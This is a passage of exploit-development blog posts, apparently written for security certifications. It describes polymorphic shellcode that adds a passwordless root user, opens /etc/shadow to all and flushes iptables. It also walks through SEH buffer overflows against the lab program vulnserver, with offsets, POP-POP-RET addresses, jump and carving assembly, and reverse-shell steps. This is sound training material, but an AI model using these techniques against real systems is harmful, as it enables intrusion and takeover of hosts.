Call dword 0x26 is what we are looking for. Looking at 1D to 24, we can see that these are the opcodes for ifconfig. 


Furthermore, plugging the next opcodes (26 through 29) shows how the entire command string (/bin/sh -c ifconfig) is pushed into the stack (esp), and loaded into ecx




Thank you for reading.

Shellcode Polymorphism

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
GitHub:

SLAE Assignment #6 - Polymorphic
     - Create a polymorphic version of 3 shellcodes from Shell-Storm
     - The polymorphic versions cannot be larger than 150% of the existing shellcode
     - Bonus: points for making it shorter in length than original



~~~~~~~~~//*****//~~~~~~~~~


0x1 - add root user (r00t) with no password to /etc/passwd
link: www.shell-storm.org/shellcode/files/shellcode-211.php

Original shellcode, assembled using ndisasm



For this, we can focus on lines 6, B, 15 and 25, 2A, 2F. The following instructions correspond to the two syscalls: open() and write (). The open() opens /etc//passwd and write() writes r00t::0:0::: I was able to change the values by running add and sub operations. I could have changed r00t::0:0::: as well using XOR operations or getting rid of the push (replaced with mov)  instructions, however, I would have exceeded the 150% of shellcode size limit.





0x2 - chmod (etc/shadow, 0777)
link: www.shell-storm.org/shellcode/files/shellcode-593.php

Here's the original shellcode with the size of 29 bytes disassembled using ndisasm. Similar to 0x1, lines 3, 8, and D show the file name /etc//shadow which means this will be the focus with the polymorphism process. Line 14 shows the permission 0777 which could also be polymorphed using some add or sub instructions but I didn't do it base on the %150 shellcode size requirement.



For the polymorphism, I used a combination of similar technique from 0x1 plus a JMP-CALL-POP technique. I subtracted 0x11111111 from each dword and then dynamically loaded the new values to the stack. After they are popped, I added 0x11111111 to recover the original value before they pushed back into the stack again. The size of the new shellcode is 44 bytes.


0x3 -iptables -F
link: www.shell-storm.org/shellcode/files/shellcode-368.php


The following instructions results: /sbin/iptables -F which then get executed using execve()




I used the JMP-CALL-POP method to change it up. Basically the /sbin/iptables -F hex codes from above are replaced. The new shellcode size is 58 bytes.


Thank you for reading.

SEH Based Buffer Overflow

Structured Exception Handling (SEH)Based Buffer Overflow Vulnerability

Kali Linux
Windows Vista
Vulnerable application: vulnserver.exe (GMON)


Vulnserver.exe is meant to be exploited mainly with buffer overflows vulnerabilities. More info about this application and where to download it can be found here:



~~~~~//********//~~~~~~


Once the application has been downloaded, we run it on our Vista Machine and start fuzzing.


Fuzzing

For fuzzing, I will be using boofuzz, and documentation can be found here:


First off, we connect to the application to test its functionality--specifically, we will  be testing the GMON command as shown below


Here is the boofuzz template/proof-of-concept that I used for fuzzing:


We fire up this python fuzzer and get a crash. 


With boofuzz, it generates a fuzzing result that can be further accessed using a DB application. For this, I am using a sqlitebrowser that provides a nice SQLite GUI.

We can see in this result (line 24) that our fuzzer sent 5013 bytes before the crash occurred



Proof-of-concept


Here's the original proof-of-concept that I will be using throughout the exploit development 

We will begin by recreating the crash using this POC


We fire up this POC and examine the crash in Windows Vista using Immunity Debugger. 

We successfully get a crash with our buffer of 41s. 

Since this will be an SEH based buffer overflow, we look at the crash in SEH chain which shows that SEH handler address being overwritten with our 41s


After being able to successfully overwrite the SEH handler, we then need to figure out the correct offset. This can be done by feeding our POC with unique characters of 5100 bytes long. 

We will be using Metasploit's pattern_create.rb as shown below.



We then update our POC with the following unique chars and again fire up our exploit.



The POC successfully crashes the vulnserver.exe program again and follow the crash in immunity.

Here we can see that SEH has been overwritten with the following values:
326E4531 & 45336E45


We can use these two values to calculate the offset using Metasploit's pattern_offset.rb

Note: Immunity Debugger's mona.py can also be used to create the pattern_create and pattern_offset

We get the following offset:

SEH: 3519
nSEH: 3515


We can use these offset values to update the POC one more time and recalculate our buffer


Again, we fire up the updated POC and examine the crash in immunity.

We can see that nSEH has been overwritten with x42s and the SEH has been overwritten with x43s


Redirecting the SEH Handler

At this point, we have successfully accomplished the following:

1. Fuzzed the vulnerable application given a long string of buffer 
2. We have calculated the offset for the SEH Handler

One common way (or only way?) to exploit a buffer overflow vulnerability is using the POP-POP-RET 

This is possible because when an application crashes and the SEH happens, our malicious buffer is loaded into the stack and the crash makes this buffer accessible using the POP-POP-RET sequence of instructions.

More information about POP-POP-RET can be found in this blog:



Bottom right of the immunity debugger crash below shows the current state of the stack after the crash
Our buffer is loaded at address 00FDF1F0 (note that addresses 00FDF1E8 and 00FDF1FC will need to be pop from the stack)

POP - 00FDF1E8
POP - 00FDF1FC
RET - 00FDF1F0 (returns our buffer)



Bad characters are no bueno

Before we look for a POP-POP-RET address and redirect our SEH Handler to it, we need to discover bad characters that will truncate or mangle our exploit.

Searching for bad characters can be accomplished by feeding 255 unique hex characters and follow code execution in immunity debugger to see it certain hex characters truncate or mangle our buffer


Again, execute our POC and trace code execution in immunity debugger. 

Looking at the hex dump (bottom left), we can see the application took all 255 hex characters (0x01 to 0xff) which means that other than  0x00, all hex characters can be used.


Now we are ready to find any POP-POP-RET address. This can be done using the mona.py plugin in immunity debugger (I couldn't get it to work) or you can just do it manually by opening up the essfunc.dll and searching for these sets of instructions.

I found the POP-POP-RET at address 625010B4


Once again, we update our POC with the SEH Handler redirect address. We examine the crash by adding a breakpoint at address 625010B4 and see if we can hit the breakpoint for a successful redirection.

Note that the address has to be in little-endian format. Also, we added a first jump (EB 06) and 2 NOPs.



We get a another crash, examine the SEH chain which shows our POP-POP-RET address and if we allow the exception to happen, we are successfully redirected to address 625010B4



We step through the POP-POP-RET codes and we then hit our first jump (EB 06).


...once we take the jmp and hit the address 00EFFF7D. This gives us roughly about 70 bytes of address space. This space is not enough to get a reverse or bind shellcode however, we can utilize this space to further jump.


For our second jump, I am using the following instructions which were straight from the OSCE course. 

These instructions basically moves the address of EIP to ECX then 8 bytes of ECX gets decreased before the jump is taken.


These instructions can be created to a nasm file then objdump can be used to generate the opcodes. 

Below shows these instructions and their respective opcodes


Note that at this point, ecx points to address 00EFFD87. We step through the instructions, take the jump and follow the new EIP 00EFFD87 in dump which gives us a bigger address space…512 bytes to be exact
00EFFF8B - 00EFFFD87= 512 in decimal

We update our POC once again with these jump instructions and now we are afforded an address space big enough for our shellcode.


SHELL TIME!

We create a reverse shell.


We update our POC buffer one last time


We execute our POC again and follow code execution in our debugger

And after taking our second jump, we hit our NOPs and if we follow the eip in dump, we can see that our encoded shellcode is just right below it.


If we continue code execution, we hit our shellcode and get a reverse shell in kali


Final POC




Conclusion:

  1. Fuzzed the vulnerable application given a long string of buffer 
  2. We have calculated the offset for the SEH Handler
  3. Determine if there are any bad characters
  4. Found a POP-POP-RET address to access our buffer
  5. Use the 4 bytes @ offset 3515 to do our first jump for a 70-byte address space
  6. Use the 70 bytes address space for the second jump which gave us 512 bytes of address space
  7. Add shellcode

SEH Based Buffer Overflow with Restricted Characters

Structured Exception Handling (SEH)Based Buffer Overflow Vulnerability w/ Restricted Characters


Kali Linux
Windows Vista 
Vulnerable application: vulnserver.exe (LTER)


Vulnserver.exe is meant to be exploited mainly with buffer overflows vulnerabilities. More info about this application and where to download it can be found here:



Github: https://github.com/pyt3ra/SEH-based-Buffer-Vulnerablity-128-Restricted-Hex-Characters-

~~~~~//********//~~~~~~

Fuzzing 

Fuzzing with boofuzz



We open the boofuzz result using SQLite browser


Recreating the crash with our Proof-of-concept


As usual, we examine the crash using Immunity Debugger and see that our SEH handler address has been overwritten with our buffer



Calculating Offset

We use Metasploit's pattern_create.rb and pattern_offset.rb to generate unique characters and calculate the offset.

Updated POC


The following values overwrite the SEH handler


...which then equates to the following offset positions.


Once again, we update the Proof-of-Concept with the following offset calculations and verify if we can see these values after the crash



Finding restricted characters


After running a few test, it looks like anything over 7F is being subtracted by 7F as we can see below in our dump….such that x80 - x7F = x01

This means we will not be able to use any hex characters over 7F

Allowed characters:

x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f


At this point we have successfully done the following:

1. Successfully produced a crash to the program with the buffer we provided
2. Calculated the offset values for address redirection
3. Found all the restricted characters

POP-POP-RET...the key to SEH Based Buffer Overflow Vulnerabilities


I will be using the same POP-POP-RET address from the Vulnserver.exe (GMON) write-up


Updated the POC with the following values...I also added some nopes for the other 4 bytes


We cannot forget about the restricted characters (hex 80 to FF)

We get a crash, however, we can see that our POP-POP-RET address has been changed to 625010B4 to 62501035 where the last byte has been changed (B4 - 7F = 35)

Also note, that our 90s have been changed to 11 (90 - 7F = 11)...we will worry about this part later


We found another POP-POP-RET address


Again, we update the POC with this new POP-POP-RET address


We fire up the POC and set a breakpoint in immunity. As we check the SEH chain plugin, we can confirm that we were able to redirect the SEH handler to the address 6250120B


We allow the execution and hit our breakpoint


We step through the POP POP RET instructions, and we hit our first entry (x90s) or in this case, x11s (90 - 7F)


First Jump 

After we are redirected to the pop-pop-ret address we are then sent to the 4 bytes right before it. We will have to use these 4 bytes to get our first jump

For the first jmp we will use the jnz conditional jump and fill the extra bytes with inc eax. With GMON we used EB 09 or jmp 9bytes, however, EB is unusable since it is one of the restricted characters.

At this time, eax is currently 0x00000000 so I used the inc eax (41) to disable the ZF. Then do the jump-if-not-zero (jnz) instruction

This jumps pass our SEH handler address…also, note that if we follow it in the dump that we can see we only have 48 bytes of address space…not enough for a reverse/bind shell.


Second jump

Now we have 48 bytes that we can use to do our second jump while keeping in mind the restricted characters
 To circumvent the restricted characters, we will be 'carving' our shellcode with SUB instructions

More info about shellcode carving can be found here: http://vellosec.net/2018/08/carving-shellcode-using-restrictive-character-sets/

First, we will need to realign our stack so that we will know where our decoded jump will show up. In this case, we want our decoded jump opcodes just below our first jump at the following address:



Before we carve it out, we have to realign ESP to address 00E9FFF8 which can be done with the following instructions:

(1)
push esp
pop eax               ;move the value of esp to eax
add ax, 0d75      ;add 3445 to eax
add ax, 0465      ;add 1125 to eax
push eax             ;push new eax value to the stack
pop esp              ;move the value of eax to esp

Note that after we do this, we will need to zero out eax for shellcode carving to work

There are multiple ways to zero out eax (i.e. xor eax, eax), however, this will not work due to restricted characters

We will use the AND operator using the following values

(2)
AND 554E4D4A = ‭101 0101 0100 1110 0100 1101 0100 1010‬
AND 2A313235 = ‭010 1010 0011 0001 0011 0010 0011 0101‬
--------------------------------------------------------------------------------
                             =000 0000 0000 0000 0000 0000 0000 0000

(3)
For our second jump, we will be using a reverse short jump: EB 80 

In order to carve out EB 80 we use the following values:

\xeb\x80\x90\x90 = 6464 7F15
0 - 909080EB = 6F6F7F15
 32103355 + 32103355 + 0B4F 186B = 6F6F7F15
0 - 3210 3355 - 3210 3355 - 0B4F 186b = 909080EB

We will do SUB operations with these values then push the result to the stack

After everything is said and done, our second jump will look like this



We execute our updated POC and trace code execution in immunity debugger

Here we can see that our second jump instructions starts at address 00EFFFD1 and then the EB 80 instructions are carved at address 00EFFFFA

Once we take the jmp short 80h, we get another 72-byte address space that we can work with. This can be seen in our hex dump at address 00EFFF7C


Third Jump

After the second jump, the address space is still not big enough for reverse or bind shell...which means we will need to do another jump.

As usual, we will need to realign ESP to set where are decoded instructions will be saved. In this case, ESP currently points at address 00FAFFFD and we would like to point it to 0FAFFAE.

After we store the value of ESP to EAX we execute the following SUB instruction

SUB AL, 4F (00FAFFFD - 4F = 0FAFFAE)

We then pop this address back to ESP


After we run the following instructions, we can see that ESP points to address 00FAFFAE…this is where our decoded jump instructions will be stored


For the third jump, we will be using the following instructions:


\x81\xec\x48\x0d\x00\x00 (SUB ESP, 0DA0)
\xff\xe4                                   (JMP ESP)
00FAFFAE - 0DA0 = 00FAF20E

00FAF20E is the address that is just below the beginning of our buffer....this will give us about 3400+ bytes worth of address space for our final shellcode

We will be carving 4 bytes at a time beginning at the lowest 4 bytes (since this will be pushed into the stack in LIFO manner)

As usual, we zero out EAX first then carve the instructions using SUB instructions before EAX gets pushed into the stack


Here we can see our 4 bytes getting decoded at address 00D0FFBF


...we carve out the next 4 bytes


...and follow the instructions being decoded


This completes our third as we can we have success decoded our next jump instructions @ address 00D0FFBB:

SUB ESP, 0D48

JMP ESP


We continue code execution to get to our SUB ESP and JMP ESP

Here we can see that after the SUB instruction, our ESP point 00D0F273


We take the JMP ESP and we are provided with 3000+ bytes of address space for our final shellcode


Final Shellcode 


At this point, we can use MSF to create a reverse shell encoded with alpha_mixed.

Also, note that we need to add BufferRegister=ESP to get rid of some restricted characters at the beginning of the shellcode. 

More info about BufferRegister flag can be found here: https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/



❌